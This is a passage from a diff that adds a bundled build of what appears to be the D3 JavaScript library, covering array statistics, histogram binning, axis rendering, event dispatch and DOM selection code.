x1) { + bins[bisectRight(tz, x, 0, m)].push(data[i]); + } + } + + return bins; + } + + histogram.value = function(_) { + return arguments.length ? (value = typeof _ === "function" ? _ : constant(_), histogram) : value; + }; + + histogram.domain = function(_) { + return arguments.length ? (domain = typeof _ === "function" ? _ : constant([_[0], _[1]]), histogram) : domain; + }; + + histogram.thresholds = function(_) { + return arguments.length ? (threshold = typeof _ === "function" ? _ : Array.isArray(_) ? constant(slice.call(_)) : constant(_), histogram) : threshold; + }; + + return histogram; +} + +function threshold(values, p, valueof) { + if (valueof == null) valueof = number; + if (!(n = values.length)) return; + if ((p = +p) <= 0 || n < 2) return +valueof(values[0], 0, values); + if (p >= 1) return +valueof(values[n - 1], n - 1, values); + var n, + i = (n - 1) * p, + i0 = Math.floor(i), + value0 = +valueof(values[i0], i0, values), + value1 = +valueof(values[i0 + 1], i0 + 1, values); + return value0 + (value1 - value0) * (i - i0); +} + +function freedmanDiaconis(values, min, max) { + values = map.call(values, number).sort(ascending); + return Math.ceil((max - min) / (2 * (threshold(values, 0.75) - threshold(values, 0.25)) * Math.pow(values.length, -1 / 3))); +} + +function scott(values, min, max) { + return Math.ceil((max - min) / (3.5 * deviation(values) * Math.pow(values.length, -1 / 3))); +} + +function max(values, valueof) { + var n = values.length, + i = -1, + value, + max; + + if (valueof == null) { + while (++i < n) { // Find the first comparable value. + if ((value = values[i]) != null && value >= value) { + max = value; + while (++i < n) { // Compare the remaining values. + if ((value = values[i]) != null && value > max) { + max = value; + } + } + } + } + } + + else { + while (++i < n) { // Find the first comparable value. + if ((value = valueof(values[i], i, values)) != null && value >= value) { + max = value; + while (++i < n) { // Compare the remaining values. + if ((value = valueof(values[i], i, values)) != null && value > max) { + max = value; + } + } + } + } + } + + return max; +} + +function mean(values, valueof) { + var n = values.length, + m = n, + i = -1, + value, + sum = 0; + + if (valueof == null) { + while (++i < n) { + if (!isNaN(value = number(values[i]))) sum += value; + else --m; + } + } + + else { + while (++i < n) { + if (!isNaN(value = number(valueof(values[i], i, values)))) sum += value; + else --m; + } + } + + if (m) return sum / m; +} + +function median(values, valueof) { + var n = values.length, + i = -1, + value, + numbers = []; + + if (valueof == null) { + while (++i < n) { + if (!isNaN(value = number(values[i]))) { + numbers.push(value); + } + } + } + + else { + while (++i < n) { + if (!isNaN(value = number(valueof(values[i], i, values)))) { + numbers.push(value); + } + } + } + + return threshold(numbers.sort(ascending), 0.5); +} + +function merge(arrays) { + var n = arrays.length, + m, + i = -1, + j = 0, + merged, + array; + + while (++i < n) j += arrays[i].length; + merged = new Array(j); + + while (--n >= 0) { + array = arrays[n]; + m = array.length; + while (--m >= 0) { + merged[--j] = array[m]; + } + } + + return merged; +} + +function min(values, valueof) { + var n = values.length, + i = -1, + value, + min; + + if (valueof == null) { + while (++i < n) { // Find the first comparable value. + if ((value = values[i]) != null && value >= value) { + min = value; + while (++i < n) { // Compare the remaining values. + if ((value = values[i]) != null && min > value) { + min = value; + } + } + } + } + } + + else { + while (++i < n) { // Find the first comparable value. + if ((value = valueof(values[i], i, values)) != null && value >= value) { + min = value; + while (++i < n) { // Compare the remaining values. + if ((value = valueof(values[i], i, values)) != null && min > value) { + min = value; + } + } + } + } + } + + return min; +} + +function permute(array, indexes) { + var i = indexes.length, permutes = new Array(i); + while (i--) permutes[i] = array[indexes[i]]; + return permutes; +} + +function scan(values, compare) { + if (!(n = values.length)) return; + var n, + i = 0, + j = 0, + xi, + xj = values[j]; + + if (compare == null) compare = ascending; + + while (++i < n) { + if (compare(xi = values[i], xj) < 0 || compare(xj, xj) !== 0) { + xj = xi, j = i; + } + } + + if (compare(xj, xj) === 0) return j; +} + +function shuffle(array, i0, i1) { + var m = (i1 == null ? array.length : i1) - (i0 = i0 == null ? 0 : +i0), + t, + i; + + while (m) { + i = Math.random() * m-- | 0; + t = array[m + i0]; + array[m + i0] = array[i + i0]; + array[i + i0] = t; + } + + return array; +} + +function sum(values, valueof) { + var n = values.length, + i = -1, + value, + sum = 0; + + if (valueof == null) { + while (++i < n) { + if (value = +values[i]) sum += value; // Note: zero and null are equivalent. + } + } + + else { + while (++i < n) { + if (value = +valueof(values[i], i, values)) sum += value; + } + } + + return sum; +} + +function transpose(matrix) { + if (!(n = matrix.length)) return []; + for (var i = -1, m = min(matrix, length), transpose = new Array(m); ++i < m;) { + for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n;) { + row[j] = matrix[j][i]; + } + } + return transpose; +} + +function length(d) { + return d.length; +} + +function zip() { + return transpose(arguments); +} + +var slice$1 = Array.prototype.slice; + +function identity$1(x) { + return x; +} + +var top = 1, + right = 2, + bottom = 3, + left = 4, + epsilon = 1e-6; + +function translateX(x) { + return "translate(" + (x + 0.5) + ",0)"; +} + +function translateY(y) { + return "translate(0," + (y + 0.5) + ")"; +} + +function number$1(scale) { + return function(d) { + return +scale(d); + }; +} + +function center(scale) { + var offset = Math.max(0, scale.bandwidth() - 1) / 2; // Adjust for 0.5px offset. + if (scale.round()) offset = Math.round(offset); + return function(d) { + return +scale(d) + offset; + }; +} + +function entering() { + return !this.__axis; +} + +function axis(orient, scale) { + var tickArguments = [], + tickValues = null, + tickFormat = null, + tickSizeInner = 6, + tickSizeOuter = 6, + tickPadding = 3, + k = orient === top || orient === left ? -1 : 1, + x = orient === left || orient === right ? "x" : "y", + transform = orient === top || orient === bottom ? translateX : translateY; + + function axis(context) { + var values = tickValues == null ? (scale.ticks ? scale.ticks.apply(scale, tickArguments) : scale.domain()) : tickValues, + format = tickFormat == null ? (scale.tickFormat ? scale.tickFormat.apply(scale, tickArguments) : identity$1) : tickFormat, + spacing = Math.max(tickSizeInner, 0) + tickPadding, + range = scale.range(), + range0 = +range[0] + 0.5, + range1 = +range[range.length - 1] + 0.5, + position = (scale.bandwidth ? center : number$1)(scale.copy()), + selection = context.selection ? context.selection() : context, + path = selection.selectAll(".domain").data([null]), + tick = selection.selectAll(".tick").data(values, scale).order(), + tickExit = tick.exit(), + tickEnter = tick.enter().append("g").attr("class", "tick"), + line = tick.select("line"), + text = tick.select("text"); + + path = path.merge(path.enter().insert("path", ".tick") + .attr("class", "domain") + .attr("stroke", "currentColor")); + + tick = tick.merge(tickEnter); + + line = line.merge(tickEnter.append("line") + .attr("stroke", "currentColor") + .attr(x + "2", k * tickSizeInner)); + + text = text.merge(tickEnter.append("text") + .attr("fill", "currentColor") + .attr(x, k * spacing) + .attr("dy", orient === top ? "0em" : orient === bottom ? "0.71em" : "0.32em")); + + if (context !== selection) { + path = path.transition(context); + tick = tick.transition(context); + line = line.transition(context); + text = text.transition(context); + + tickExit = tickExit.transition(context) + .attr("opacity", epsilon) + .attr("transform", function(d) { return isFinite(d = position(d)) ? transform(d) : this.getAttribute("transform"); }); + + tickEnter + .attr("opacity", epsilon) + .attr("transform", function(d) { var p = this.parentNode.__axis; return transform(p && isFinite(p = p(d)) ? p : position(d)); }); + } + + tickExit.remove(); + + path + .attr("d", orient === left || orient == right + ? (tickSizeOuter ? "M" + k * tickSizeOuter + "," + range0 + "H0.5V" + range1 + "H" + k * tickSizeOuter : "M0.5," + range0 + "V" + range1) + : (tickSizeOuter ? "M" + range0 + "," + k * tickSizeOuter + "V0.5H" + range1 + "V" + k * tickSizeOuter : "M" + range0 + ",0.5H" + range1)); + + tick + .attr("opacity", 1) + .attr("transform", function(d) { return transform(position(d)); }); + + line + .attr(x + "2", k * tickSizeInner); + + text + .attr(x, k * spacing) + .text(format); + + selection.filter(entering) + .attr("fill", "none") + .attr("font-size", 10) + .attr("font-family", "sans-serif") + .attr("text-anchor", orient === right ? "start" : orient === left ? "end" : "middle"); + + selection + .each(function() { this.__axis = position; }); + } + + axis.scale = function(_) { + return arguments.length ? (scale = _, axis) : scale; + }; + + axis.ticks = function() { + return tickArguments = slice$1.call(arguments), axis; + }; + + axis.tickArguments = function(_) { + return arguments.length ? (tickArguments = _ == null ? [] : slice$1.call(_), axis) : tickArguments.slice(); + }; + + axis.tickValues = function(_) { + return arguments.length ? (tickValues = _ == null ? null : slice$1.call(_), axis) : tickValues && tickValues.slice(); + }; + + axis.tickFormat = function(_) { + return arguments.length ? (tickFormat = _, axis) : tickFormat; + }; + + axis.tickSize = function(_) { + return arguments.length ? (tickSizeInner = tickSizeOuter = +_, axis) : tickSizeInner; + }; + + axis.tickSizeInner = function(_) { + return arguments.length ? (tickSizeInner = +_, axis) : tickSizeInner; + }; + + axis.tickSizeOuter = function(_) { + return arguments.length ? (tickSizeOuter = +_, axis) : tickSizeOuter; + }; + + axis.tickPadding = function(_) { + return arguments.length ? (tickPadding = +_, axis) : tickPadding; + }; + + return axis; +} + +function axisTop(scale) { + return axis(top, scale); +} + +function axisRight(scale) { + return axis(right, scale); +} + +function axisBottom(scale) { + return axis(bottom, scale); +} + +function axisLeft(scale) { + return axis(left, scale); +} + +var noop = {value: function() {}}; + +function dispatch() { + for (var i = 0, n = arguments.length, _ = {}, t; i < n; ++i) { + if (!(t = arguments[i] + "") || (t in _) || /[\s.]/.test(t)) throw new Error("illegal type: " + t); + _[t] = []; + } + return new Dispatch(_); +} + +function Dispatch(_) { + this._ = _; +} + +function parseTypenames(typenames, types) { + return typenames.trim().split(/^|\s+/).map(function(t) { + var name = "", i = t.indexOf("."); + if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i); + if (t && !types.hasOwnProperty(t)) throw new Error("unknown type: " + t); + return {type: t, name: name}; + }); +} + +Dispatch.prototype = dispatch.prototype = { + constructor: Dispatch, + on: function(typename, callback) { + var _ = this._, + T = parseTypenames(typename + "", _), + t, + i = -1, + n = T.length; + + // If no callback was specified, return the callback of the given type and name. + if (arguments.length < 2) { + while (++i < n) if ((t = (typename = T[i]).type) && (t = get(_[t], typename.name))) return t; + return; + } + + // If a type was specified, set the callback for the given type and name. + // Otherwise, if a null callback was specified, remove callbacks of the given name. + if (callback != null && typeof callback !== "function") throw new Error("invalid callback: " + callback); + while (++i < n) { + if (t = (typename = T[i]).type) _[t] = set(_[t], typename.name, callback); + else if (callback == null) for (t in _) _[t] = set(_[t], typename.name, null); + } + + return this; + }, + copy: function() { + var copy = {}, _ = this._; + for (var t in _) copy[t] = _[t].slice(); + return new Dispatch(copy); + }, + call: function(type, that) { + if ((n = arguments.length - 2) > 0) for (var args = new Array(n), i = 0, n, t; i < n; ++i) args[i] = arguments[i + 2]; + if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); + for (t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); + }, + apply: function(type, that, args) { + if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type); + for (var t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args); + } +}; + +function get(type, name) { + for (var i = 0, n = type.length, c; i < n; ++i) { + if ((c = type[i]).name === name) { + return c.value; + } + } +} + +function set(type, name, callback) { + for (var i = 0, n = type.length; i < n; ++i) { + if (type[i].name === name) { + type[i] = noop, type = type.slice(0, i).concat(type.slice(i + 1)); + break; + } + } + if (callback != null) type.push({name: name, value: callback}); + return type; +} + +var xhtml = "http://www.w3.org/1999/xhtml"; + +var namespaces = { + svg: "http://www.w3.org/2000/svg", + xhtml: xhtml, + xlink: "http://www.w3.org/1999/xlink", + xml: "http://www.w3.org/XML/1998/namespace", + xmlns: "http://www.w3.org/2000/xmlns/" +}; + +function namespace(name) { + var prefix = name += "", i = prefix.indexOf(":"); + if (i >= 0 && (prefix = name.slice(0, i)) !== "xmlns") name = name.slice(i + 1); + return namespaces.hasOwnProperty(prefix) ? {space: namespaces[prefix], local: name} : name; +} + +function creatorInherit(name) { + return function() { + var document = this.ownerDocument, + uri = this.namespaceURI; + return uri === xhtml && document.documentElement.namespaceURI === xhtml + ? document.createElement(name) + : document.createElementNS(uri, name); + }; +} + +function creatorFixed(fullname) { + return function() { + return this.ownerDocument.createElementNS(fullname.space, fullname.local); + }; +} + +function creator(name) { + var fullname = namespace(name); + return (fullname.local + ? creatorFixed + : creatorInherit)(fullname); +} + +function none() {} + +function selector(selector) { + return selector == null ? none : function() { + return this.querySelector(selector); + }; +} + +function selection_select(select) { + if (typeof select !== "function") select = selector(select); + + for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, subgroup = subgroups[j] = new Array(n), node, subnode, i = 0; i < n; ++i) { + if ((node = group[i]) && (subnode = select.call(node, node.__data__, i, group))) { + if ("__data__" in node) subnode.__data__ = node.__data__; + subgroup[i] = subnode; + } + } + } + + return new Selection(subgroups, this._parents); +} + +function empty() { + return []; +} + +function selectorAll(selector) { + return selector == null ? empty : function() { + return this.querySelectorAll(selector); + }; +} + +function selection_selectAll(select) { + if (typeof select !== "function") select = selectorAll(select); + + for (var groups = this._groups, m = groups.length, subgroups = [], parents = [], j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { + if (node = group[i]) { + subgroups.push(select.call(node, node.__data__, i, group)); + parents.push(node); + } + } + } + + return new Selection(subgroups, parents); +} + +function matcher(selector) { + return function() { + return this.matches(selector); + }; +} + +function selection_filter(match) { + if (typeof match !== "function") match = matcher(match); + + for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, subgroup = subgroups[j] = [], node, i = 0; i < n; ++i) { + if ((node = group[i]) && match.call(node, node.__data__, i, group)) { + subgroup.push(node); + } + } + } + + return new Selection(subgroups, this._parents); +} + +function sparse(update) { + return new Array(update.length); +} + +function selection_enter() { + return new Selection(this._enter || this._groups.map(sparse), this._parents); +} + +function EnterNode(parent, datum) { + this.ownerDocument = parent.ownerDocument; + this.namespaceURI = parent.namespaceURI; + this._next = null; + this._parent = parent; + this.__data__ = datum; +} + +EnterNode.prototype = { + constructor: EnterNode, + appendChild: function(child) { return this._parent.insertBefore(child, this._next); }, + insertBefore: function(child, next) { return this._parent.insertBefore(child, next); }, + querySelector: function(selector) { return this._parent.querySelector(selector); }, + querySelectorAll: function(selector) { return this._parent.querySelectorAll(selector); } +}; + +function constant$1(x) { + return function() { + return x; + }; +} + +var keyPrefix = "$"; // Protect against keys like “__proto__”. + +function bindIndex(parent, group, enter, update, exit, data) { + var i = 0, + node, + groupLength = group.length, + dataLength = data.length; + + // Put any non-null nodes that fit into update. + // Put any null nodes into enter. + // Put any remaining data into enter. + for (; i < dataLength; ++i) { + if (node = group[i]) { + node.__data__ = data[i]; + update[i] = node; + } else { + enter[i] = new EnterNode(parent, data[i]); + } + } + + // Put any non-null nodes that don’t fit into exit. + for (; i < groupLength; ++i) { + if (node = group[i]) { + exit[i] = node; + } + } +} + +function bindKey(parent, group, enter, update, exit, data, key) { + var i, + node, + nodeByKeyValue = {}, + groupLength = group.length, + dataLength = data.length, + keyValues = new Array(groupLength), + keyValue; + + // Compute the key for each node. + // If multiple nodes have the same key, the duplicates are added to exit. + for (i = 0; i < groupLength; ++i) { + if (node = group[i]) { + keyValues[i] = keyValue = keyPrefix + key.call(node, node.__data__, i, group); + if (keyValue in nodeByKeyValue) { + exit[i] = node; + } else { + nodeByKeyValue[keyValue] = node; + } + } + } + + // Compute the key for each datum. + // If there a node associated with this key, join and add it to update. + // If there is not (or the key is a duplicate), add it to enter. + for (i = 0; i < dataLength; ++i) { + keyValue = keyPrefix + key.call(parent, data[i], i, data); + if (node = nodeByKeyValue[keyValue]) { + update[i] = node; + node.__data__ = data[i]; + nodeByKeyValue[keyValue] = null; + } else { + enter[i] = new EnterNode(parent, data[i]); + } + } + + // Add any remaining nodes that were not bound to data to exit. + for (i = 0; i < groupLength; ++i) { + if ((node = group[i]) && (nodeByKeyValue[keyValues[i]] === node)) { + exit[i] = node; + } + } +} + +function selection_data(value, key) { + if (!value) { + data = new Array(this.size()), j = -1; + this.each(function(d) { data[++j] = d; }); + return data; + } + + var bind = key ? bindKey : bindIndex, + parents = this._parents, + groups = this._groups; + + if (typeof value !== "function") value = constant$1(value); + + for (var m = groups.length, update = new Array(m), enter = new Array(m), exit = new Array(m), j = 0; j < m; ++j) { + var parent = parents[j], + group = groups[j], + groupLength = group.length, + data = value.call(parent, parent && parent.__data__, j, parents), + dataLength = data.length, + enterGroup = enter[j] = new Array(dataLength), + updateGroup = update[j] = new Array(dataLength), + exitGroup = exit[j] = new Array(groupLength); + + bind(parent, group, enterGroup, updateGroup, exitGroup, data, key); + + // Now connect the enter nodes to their following update node, such that + // appendChild can insert the materialized enter node before this node, + // rather than at the end of the parent node. + for (var i0 = 0, i1 = 0, previous, next; i0 < dataLength; ++i0) { + if (previous = enterGroup[i0]) { + if (i0 >= i1) i1 = i0 + 1; + while (!(next = updateGroup[i1]) && ++i1 < dataLength); + previous._next = next || null; + } + } + } + + update = new Selection(update, parents); + update._enter = enter; + update._exit = exit; + return update; +} + +function selection_exit() { + return new Selection(this._exit || this._groups.map(sparse), this._parents); +} + +function selection_join(onenter, onupdate, onexit) { + var enter = this.enter(), update = this, exit = this.exit(); + enter = typeof onenter === "function" ? onenter(enter) : enter.append(onenter + ""); + if (onupdate != null) update = onupdate(update); + if (onexit == null) exit.remove(); else onexit(exit); + return enter && update ? enter.merge(update).order() : update; +} + +function selection_merge(selection) { + + for (var groups0 = this._groups, groups1 = selection._groups, m0 = groups0.length, m1 = groups1.length, m = Math.min(m0, m1), merges = new Array(m0), j = 0; j < m; ++j) { + for (var group0 = groups0[j], group1 = groups1[j], n = group0.length, merge = merges[j] = new Array(n), node, i = 0; i < n; ++i) { + if (node = group0[i] || group1[i]) { + merge[i] = node; + } + } + } + + for (; j < m0; ++j) { + merges[j] = groups0[j]; + } + + return new Selection(merges, this._parents); +} + +function selection_order() { + + for (var groups = this._groups, j = -1, m = groups.length; ++j < m;) { + for (var group = groups[j], i = group.length - 1, next = group[i], node; --i >= 0;) { + if (node = group[i]) { + if (next && node.compareDocumentPosition(next) ^ 4) next.parentNode.insertBefore(node, next); + next = node; + } + } + } + + return this; +} + +function selection_sort(compare) { + if (!compare) compare = ascending$1; + + function compareNode(a, b) { + return a && b ? compare(a.__data__, b.__data__) : !a - !b; + } + + for (var groups = this._groups, m = groups.length, sortgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, sortgroup = sortgroups[j] = new Array(n), node, i = 0; i < n; ++i) { + if (node = group[i]) { + sortgroup[i] = node; + } + } + sortgroup.sort(compareNode); + } + + return new Selection(sortgroups, this._parents).order(); +} + +function ascending$1(a, b) { + return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN; +} + +function selection_call() { + var callback = arguments[0]; + arguments[0] = this; + callback.apply(null, arguments); + return this; +} + +function selection_nodes() { + var nodes = new Array(this.size()), i = -1; + this.each(function() { nodes[++i] = this; }); + return nodes; +} + +function selection_node() { + + for (var groups = this._groups, j = 0, m = groups.length; j < m; ++j) { + for (var group = groups[j], i = 0, n = group.length; i < n; ++i) { + var node = group[i]; + if (node) return node; + } + } + + return null; +} + +function selection_size() { + var size = 0; + this.each(function() { ++size; }); + return size; +} + +function selection_empty() { + return !this.node(); +} + +function selection_each(callback) { + + for (var groups = this._groups, j = 0, m = groups.length; j < m; ++j) { + for (var group = groups[j], i = 0, n = group.length, node; i < n; ++i) { + if (node = group[i]) callback.call(node, node.__data__, i, group); + } + } + + return this; +} + +function attrRemove(name) { + return function() { + this.removeAttribute(name); + }; +} + +function attrRemoveNS(fullname) { + return function() { + this.removeAttributeNS(fullname.space, fullname.local); + }; +} + +function attrConstant(name, value) { + return function() { + this.setAttribute(name, value); + }; +} + +function attrConstantNS(fullname, value) { + return function() { + this.setAttributeNS(fullname.space, fullname.local, value); + }; +} + +function attrFunction(name, value) { + return function() { + var v = value.apply(this, arguments); + if (v == null) this.removeAttribute(name); + else this.setAttribute(name, v); + }; +} + +function attrFunctionNS(fullname, value) { + return function() { + var v = value.apply(this, arguments); + if (v == null) this.removeAttributeNS(fullname.space, fullname.local); + else this.setAttributeNS(fullname.space, fullname.local, v); + }; +} + +function selection_attr(name, value) { + var fullname = namespace(name); + + if (arguments.length < 2) { + var node = this.node(); + return fullname.local + ? node.getAttributeNS(fullname.space, fullname.local) + : node.getAttribute(fullname); + } + + return this.each((value == null + ? (fullname.local ? attrRemoveNS : attrRemove) : (typeof value === "function" + ? (fullname.local ? attrFunctionNS : attrFunction) + : (fullname.local ? attrConstantNS : attrConstant)))(fullname, value)); +} + +function defaultView(node) { + return (node.ownerDocument && node.ownerDocument.defaultView) // node is a Node + || (node.document && node) // node is a Window + || node.defaultView; // node is a Document +} + +function styleRemove(name) { + return function() { + this.style.removeProperty(name); + }; +} + +function styleConstant(name, value, priority) { + return function() { + this.style.setProperty(name, value, priority); + }; +} + +function styleFunction(name, value, priority) { + return function() { + var v = value.apply(this, arguments); + if (v == null) this.style.removeProperty(name); + else this.style.setProperty(name, v, priority); + }; +} + +function selection_style(name, value, priority) { + return arguments.length > 1 + ? this.each((value == null + ? styleRemove : typeof value === "function" + ? styleFunction + : styleConstant)(name, value, priority == null ? "" : priority)) + : styleValue(this.node(), name); +} + +function styleValue(node, name) { + return node.style.getPropertyValue(name) + || defaultView(node).getComputedStyle(node, null).getPropertyValue(name); +} + +function propertyRemove(name) { + return function() { + delete this[name]; + }; +} + +function propertyConstant(name, value) { + return function() { + this[name] = value; + }; +} + +function propertyFunction(name, value) { + return function() { + var v = value.apply(this, arguments); + if (v == null) delete this[name]; + else this[name] = v; + }; +} + +function selection_property(name, value) { + return arguments.length > 1 + ? this.each((value == null + ? propertyRemove : typeof value === "function" + ? propertyFunction + : propertyConstant)(name, value)) + : this.node()[name]; +} + +function classArray(string) { + return string.trim().split(/^|\s+/); +} + +function classList(node) { + return node.classList || new ClassList(node); +} + +function ClassList(node) { + this._node = node; + this._names = classArray(node.getAttribute("class") || ""); +} + +ClassList.prototype = { + add: function(name) { + var i = this._names.indexOf(name); + if (i < 0) { + this._names.push(name); + this._node.setAttribute("class", this._names.join(" ")); + } + }, + remove: function(name) { + var i = this._names.indexOf(name); + if (i >= 0) { + this._names.splice(i, 1); + this._node.setAttribute("class", this._names.join(" ")); + } + }, + contains: function(name) { + return this._names.indexOf(name) >= 0; + } +}; + +function classedAdd(node, names) { + var list = classList(node), i = -1, n = names.length; + while (++i < n) list.add(names[i]); +} + +function classedRemove(node, names) { + var list = classList(node), i = -1, n = names.length; + while (++i < n) list.remove(names[i]); +} + +function classedTrue(names) { + return function() { + classedAdd(this, names); + }; +} + +function classedFalse(names) { + return function() { + classedRemove(this, names); + }; +} + +function classedFunction(names, value) { + return function() { + (value.apply(this, arguments) ? classedAdd : classedRemove)(this, names); + }; +} + +function selection_classed(name, value) { + var names = classArray(name + ""); + + if (arguments.length < 2) { + var list = classList(this.node()), i = -1, n = names.length; + while (++i < n) if (!list.contains(names[i])) return false; + return true; + } + + return this.each((typeof value === "function" + ? classedFunction : value + ? classedTrue + : classedFalse)(names, value)); +} + +function textRemove() { + this.textContent = ""; +} + +function textConstant(value) { + return function() { + this.textContent = value; + }; +} + +function textFunction(value) { + return function() { + var v = value.apply(this, arguments); + this.textContent = v == null ? "" : v; + }; +} + +function selection_text(value) { + return arguments.length + ? this.each(value == null + ? textRemove : (typeof value === "function" + ? textFunction + : textConstant)(value)) + : this.node().textContent; +} + +function htmlRemove() { + this.innerHTML = ""; +} + +function htmlConstant(value) { + return function() { + this.innerHTML = value; + }; +} + +function htmlFunction(value) { + return function() { + var v = value.apply(this, arguments); + this.innerHTML = v == null ? "" : v; + }; +} + +function selection_html(value) { + return arguments.length + ? this.each(value == null + ? htmlRemove : (typeof value === "function" + ? htmlFunction + : htmlConstant)(value)) + : this.node().innerHTML; +} + +function raise() { + if (this.nextSibling) this.parentNode.appendChild(this); +} + +function selection_raise() { + return this.each(raise); +} + +function lower() { + if (this.previousSibling) this.parentNode.insertBefore(this, this.parentNode.firstChild); +} + +function selection_lower() { + return this.each(lower); +} + +function selection_append(name) { + var create = typeof name === "function" ? name : creator(name); + return this.select(function() { + return this.appendChild(create.apply(this, arguments)); + }); +} + +function constantNull() { + return null; +} + +function selection_insert(name, before) { + var create = typeof name === "function" ? name : creator(name), + select = before == null ? constantNull : typeof before === "function" ? before : selector(before); + return this.select(function() { + return this.insertBefore(create.apply(this, arguments), select.apply(this, arguments) || null); + }); +} + +function remove() { + var parent = this.parentNode; + if (parent) parent.removeChild(this); +} + +function selection_remove() { + return this.each(remove); +} + +function selection_cloneShallow() { + var clone = this.cloneNode(false), parent = this.parentNode; + return parent ? parent.insertBefore(clone, this.nextSibling) : clone; +} + +function selection_cloneDeep() { + var clone = this.cloneNode(true), parent = this.parentNode; + return parent ? parent.insertBefore(clone, this.nextSibling) : clone; +} + +function selection_clone(deep) { + return this.select(deep ? selection_cloneDeep : selection_cloneShallow); +} + +function selection_datum(value) { + return arguments.length + ? this.property("__data__", value) + : this.node().__data__; +} + +var filterEvents = {}; + +exports.event = null; + +if (typeof document !== "undefined") { + var element = document.documentElement; + if (!("onmouseenter" in element)) { + filterEvents = {mouseenter: "mouseover", mouseleave: "mouseout"}; + } +} + +function filterContextListener(listener, index, group) { + listener = contextListener(listener, index, group); + return function(event) { + var related = event.relatedTarget; + if (!related || (related !== this && !(related.compareDocumentPosition(this) & 8))) { + listener.call(this, event); + } + }; +} + +function contextListener(listener, index, group) { + return function(event1) { + var event0 = exports.event; // Events can be reentrant (e.g., focus). + exports.event = event1; + try { + listener.call(this, this.__data__, index, group); + } finally { + exports.event = event0; + } + }; +} + +function parseTypenames$1(typenames) { + return typenames.trim().split(/^|\s+/).map(function(t) { + var name = "", i = t.indexOf("."); + if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i); + return {type: t, name: name}; + }); +} + +function onRemove(typename) { + return function() { + var on = this.__on; + if (!on) return; + for (var j = 0, i = -1, m = on.length, o; j < m; ++j) { + if (o = on[j], (!typename.type || o.type === typename.type) && o.name === typename.name) { + this.removeEventListener(o.type, o.listener, o.capture); + } else { + on[++i] = o; + } + } + if (++i) on.length = i; + else delete this.__on; + }; +} + +function onAdd(typename, value, capture) { + var wrap = filterEvents.hasOwnProperty(typename.type) ? filterContextListener : contextListener; + return function(d, i, group) { + var on = this.__on, o, listener = wrap(value, i, group); + if (on) for (var j = 0, m = on.length; j < m; ++j) { + if ((o = on[j]).type === typename.type && o.name === typename.name) { + this.removeEventListener(o.type, o.listener, o.capture); + this.addEventListener(o.type, o.listener = listener, o.capture = capture); + o.value = value; + return; + } + } + this.addEventListener(typename.type, listener, capture); + o = {type: typename.type, name: typename.name, value: value, listener: listener, capture: capture}; + if (!on) this.__on = [o]; + else on.push(o); + }; +} + +function selection_on(typename, value, capture) { + var typenames = parseTypenames$1(typename + ""), i, n = typenames.length, t; + + if (arguments.length < 2) { + var on = this.node().__on; + if (on) for (var j = 0, m = on.length, o; j < m; ++j) { + for (i = 0, o = on[j]; i < n; ++i) { + if ((t = typenames[i]).type === o.type && t.name === o.name) { + return o.value; + } + } + } + return; + } + + on = value ? onAdd : onRemove; + if (capture == null) capture = false; + for (i = 0; i < n; ++i) this.each(on(typenames[i], value, capture)); + return this; +} + +function customEvent(event1, listener, that, args) { + var event0 = exports.event; + event1.sourceEvent = exports.event; + exports.event = event1; + try { + return listener.apply(that, args); + } finally { + exports.event = event0; + } +} + +function dispatchEvent(node, type, params) { + var window = defaultView(node), + event = window.CustomEvent; + + if (typeof event === "function") { + event = new event(type, params); + } else { + event = window.document.createEvent("Event"); + if (params) event.initEvent(type, params.bubbles, params.cancelable), event.detail = params.detail; + else event.initEvent(type, false, false); + } + + node.dispatchEvent(event); +} + +function dispatchConstant(type, params) { + return function() { + return dispatchEvent(this, type, params); + }; +} + +function dispatchFunction(type, params) { + return function() { + return dispatchEvent(this, type, params.apply(this, arguments)); + }; +} + +function selection_dispatch(type, params) { + return this.each((typeof params === "function" + ? dispatchFunction + : dispatchConstant)(type, params)); +} + +var root = [null]; + +function Selection(groups, parents) { + this._groups = groups; + this._parents = parents; +} + +function selection() { + return new Selection([[document.documentElement]], root); +} + +Selection.prototype = selection.prototype = { + constructor: Selection, + select: selection_select, + selectAll: selection_selectAll, + filter: selection_filter, + data: selection_data, + enter: selection_enter, + exit: selection_exit, + join: selection_join, + merge: selection_merge, + order: selection_order, + sort: selection_sort, + call: selection_call, + nodes: selection_nodes, + node: selection_node, + size: selection_size, + empty: selection_empty, + each: selection_each, + attr: selection_attr, + style: selection_style, + property: selection_property, + classed: selection_classed, + text: selection_text, + html: selection_html, + raise: selection_raise, + lower: selection_lower, + append: selection_append, + insert: selection_insert, + remove: selection_remove, + clone: selection_clone, + datum: selection_datum, + on: selection_on, + dispatch: selection_dispatch +}; + +function select(selector) { + return typeof selector === "string" + ? new Selection([[document.querySelector(selector)]], [document.documentElement]) + : new Selection([[selector]], root); +} + +function create(name) { + return select(creator(name).call(document.documentElement)); +} + +var nextId = 0; + +function local() { + return new Local; +} + +function Local() { + this._ = "@" + (++nextId).toString(36); +} + +Local.prototype = local.prototype = { + constructor: Local, + get: function(node) { + var id = this._; + while (!(id in node)) if (!(node = node.parentNode)) return; + return node[id]; + }, + set: function(node, value) { + return node[this._] = value; + }, + remove: function(node) { + return this._ in node && delete node[this._]; + }, + toString: function() { + return this._; + } +}; + +function sourceEvent() { + var current = exports.event, source; + while (source = current.sourceEvent) current = source; + return current; +} + +function point(node, event) { + var svg = node.ownerSVGElement || node; + + if (svg.createSVGPoint) { + var point = svg.createSVGPoint(); + point.x = event.clientX, point.y = event.clientY; + point = point.matrixTransform(node.getScreenCTM().inverse()); + return [point.x, point.y]; + } + + var rect = node.getBoundingClientRect(); + return [event.clientX - rect.left - node.clientLeft, event.clientY - rect.top - node.clientTop]; +} + +function mouse(node) { + var event = sourceEvent(); + if 